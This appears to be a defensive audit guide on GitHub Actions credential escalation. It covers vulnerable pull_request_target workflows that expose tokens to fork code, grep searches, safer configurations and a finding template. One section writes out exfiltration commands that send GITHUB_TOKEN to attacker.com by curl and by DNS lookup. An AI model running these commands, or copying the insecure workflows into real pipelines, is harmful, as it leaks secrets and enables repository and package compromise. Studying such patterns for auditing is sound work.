Credential Escalation

# VULNERABLE: PAT accessible to fork code
on: pull_request_target
jobs:
  auto-merge:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}
          token: ${{ secrets.AUTO_COMMIT_PAT }}  # Classic PAT!
      - run: ./scripts/auto-format.sh  # Fork code has access to PAT

# VULNERABLE: write-all permissions with fork checkout
on: pull_request_target
permissions: write-all  # Everything writable
jobs:
  process:
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: npm install  # Fork's package.json can steal GITHUB_TOKEN

# VULNERABLE: All secrets available to fork code
on: pull_request_target
jobs:
  deploy:
    runs-on: ubuntu-latest
    env:
      AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
      AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
      NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.ref }}
      - run: npm publish  # Fork code can read all env vars

# Find workflows using secrets
grep -rn 'secrets\.' .github/workflows/ | grep -v 'GITHUB_TOKEN'

# Find PAT usage
grep -rn 'PAT\|_TOKEN\|_KEY\|_SECRET\|DEPLOY_KEY' .github/workflows/

# Find workflows with write-all or broad permissions
grep -rn 'write-all\|permissions:' .github/workflows/

# Check if secrets are in pull_request_target workflows
grep -B20 'secrets\.' .github/workflows/*.yml | grep 'pull_request_target'

# Find checkout steps with custom tokens
grep -A5 'actions/checkout' .github/workflows/*.yml | grep 'token:'

# SAFE: Explicit minimal permissions
on: pull_request
permissions:
  contents: read
  pull-requests: read
jobs:
  lint:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm run lint

# Workflow 1: Build (no secrets, fork code OK)
on: pull_request
permissions:
  contents: read
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm ci && npm test

# Workflow 2: Release (secrets OK, no fork code)
on:
  push:
    tags: ['v*']
permissions:
  contents: write
jobs:
  release:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4  # Only target repo code
      - env:
          NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
        run: npm publish

# VULNERABLE: Long-lived AWS credentials
env:
  AWS_ACCESS_KEY_ID: ${{ secrets.AWS_KEY }}
  AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET }}

# SAFE: OIDC federation — no stored credentials
permissions:
  id-token: write
  contents: read
steps:
  - uses: aws-actions/configure-aws-credentials@v4
    with:
      role-to-assume: arn:aws:iam::123456789:role/github-actions
      aws-region: us-east-1

# Direct HTTP exfiltration
curl -d "token=$GITHUB_TOKEN" https://attacker.com/collect

# DNS exfiltration (bypasses egress filtering)
dig $(echo $GITHUB_TOKEN | base64).attacker.com

# Via workflow logs (if token not masked)
echo $SECRET_VALUE  # GitHub masks known secrets, but derived values may leak

# Via artifacts
echo $GITHUB_TOKEN > token.txt
# Upload as artifact

ATTACK: Credential Escalation via [vector]
ENTRY: [How attacker triggers the workflow]
CREDENTIAL: [Which credential is accessible — PAT, GITHUB_TOKEN, cloud key]
SCOPE: [What the credential can do — write to repo, publish packages, etc.]
EXFILTRATION: [How the attacker extracts the credential]
POST-EXPLOITATION: [What attacker does with the credential]
IMPACT: [Full blast radius]